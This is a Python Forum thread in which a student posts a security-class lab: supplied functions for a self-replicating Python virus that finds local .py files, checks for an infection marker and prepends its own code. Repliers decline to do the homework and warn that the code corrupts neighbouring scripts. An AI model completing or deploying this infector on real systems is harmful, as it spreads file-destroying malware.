Python Forum
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Virus using Python
#1
Hi guys, I hope everyone is doing well. I have a problem understanding this lab could you please guide me through it thank you! 
For this lab, you will take the virus.py code and make it into an actual virus that will infect the hello.py program.  Below are the steps you need to accomplish in order to spread the virus.
 
  • Virus program should be able to read in a copy of itself
  • Virus code should be able to get a list of Python programs
  • For each Python program in the list do the following:
  • Read the Python program into memory
  • Decide if the program is already infected
  • Infect the program in memory if it is not infected
  • Write the infected program back out to the file system
  • After each program is infected, you can run a payload attack
 You have the virus.py code full of functions and you need to organize them to infect do the above jobs.  Inside the virus.py file you will find the following functions.
 
  • getVirusFromSelf
  • getPythonList
  • readFile
  • isInfected
  • infectCode
  • writeFile
  • virusPayload
 These functions should provide everything you need to spread and infect.  
Virus.py:
#!/usr/bin/env python

##### VIRUS BEGIN #####
import os, glob, sys, re

def getVirusFromSelf():
    "getVirusFromSelf - Returns the lines of the virus in a list"
    code = []
   fileHandle = open(sys.argv[0], "r")
   inVirus = False
   while 1:
       line = fileHandle.readline()
       if not line: break
       if re.search("^##### VIRUS BEGIN #####", line): inVirus = True
       if inVirus: code.append(line)
       if re.search("^##### VIRUS END #####", line): break
   fileHandle.close()
   return code

def getPythonList():
   "getPythonList - Return a list of Python programs"
   progs = glob.glob("*.py")
   return progs

def readFile(filename):
   "readFile - Returns a list of lines in a file"
   fileHandle = open(filename, "r")
   code = []
   while 1:
       line = fileHandle.readline()
       if not line: break
       code.append(line)
   fileHandle.close()
   return code

def isInfected(code):
   "isInfected - Returns True if infected, False if not"
   for line in code:
       if re.search("^##### VIRUS BEGIN #####", line): return True
   return False

def infectCode(progCode, virusCode):
   "infectCode - Inserts the virusCode into the progCode"
   code = []
   if re.search("^#!", progCode[0]): code.append(progCode.pop(0))
   for line in virusCode: code.append(line)
   for line in progCode: code.append(line)
   return code

def writeFile(filename, code):
   "writeFile - Write the lines in a list of code to a filename"
   fileHandle = open(filename, "w")
   for line in code:
       fileHandle.write(line)
   fileHandle.close()

def virusPayload():
   "virusPayload - Function for what the virus should do"
   pass

## Put functions together here ##


##### VIRUS END #####
Reply
#2
This is your homework assignment copy pasted.
What is your question ?

Note: use code tags when posting code to keep the formatting.
Reply
#3
Running this would be like sticking an electrolytic capacitor in the mains!
Reply
#4
So there is a teacher somewhere that is asking his/her students to write code that will self-destruct if they don't get it right the first time.

Can you think of anything more evil?
Unless noted otherwise, code in my posts should be understood as "coding suggestions", and its use may require more neurones than the two necessary for Ctrl-C/Ctrl-V.
Your one-stop place for all your GIMP needs: gimp-forum.net
Reply
#5
Also, the sample uses non-PEP8 code, so the students can't even read it to learn decent python. Let's all write our while loops to be "while 'tofu is tasty':" from now on!
Reply
#6
This is the whole homework. I couldn't understand a thing. I've studied Python but only the basics. This is for y security class. I don't even know what it does! So basically we have to put it in order so we can infect the file, that's the only thing that I'm getting out of it. That's why I asked for help. Can anyone explain to me what this code is supposed to do, like in details?
Reply
#7
(Dec-06-2016, 12:24 AM)miira Wrote: This is the whole homework. I couldn't understand a thing. I've studied Python but only the basics. This is for y security class. I don't even know what it does! So basically we have to put it in order so we can infect the file, that's the only thing that I'm getting out of it. That's why I asked for help. Can anyone explain to me what this code is supposed to do, like in details?

No, to explain it in detail would be to do your homework for you.  Besides, each 'def' has a line (double quoted in blue) which explains what it does (which you should comment out or the program won't run).  Also notice that even with all the 'def's' given, there is nothing invoking any of them. It seems your job is to invoke the functions in the proper order, perhaps using the output of one function to feed another.

One particularly troubly function is this:
def getPythonList():
   "getPythonList - Return a list of Python programs"
   progs = glob.glob("*.py")
   return progs
This basically is saying, look for any  python file in the current directory and we will infect it.  If you create this script in the same location as other scripts, you will f__k them up.  I would create a separate directory with only one sample .py file (say a "hello world" script) then create this homework assignment within that directory.
If it ain't broke, I just haven't gotten to it yet.
OS: Windows 10, openSuse 42.3, freeBSD 11, Raspian "Stretch"
Python 3.6.5, IDE: PyCharm 2018 Community Edition
Reply
#8
(Dec-06-2016, 02:26 PM)sparkz_alot Wrote: Besides, each 'def' has a line (double quoted in blue) which explains what it does (which you should comment out or the program won't run).

That's actually not accurate. Strings are valid syntax, even if you're not assigning them to anything or using them for anything.
Using a string like this actually creates documentation, and that string will be displayed if you call help() on the function:
>>> def spam():
...   "can really wizzle the whicket"
...   pass
...

>>> help(spam)
Help on function spam in module __main__:

spam()
    can really wizzle the whicket

>>>
Reply


Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020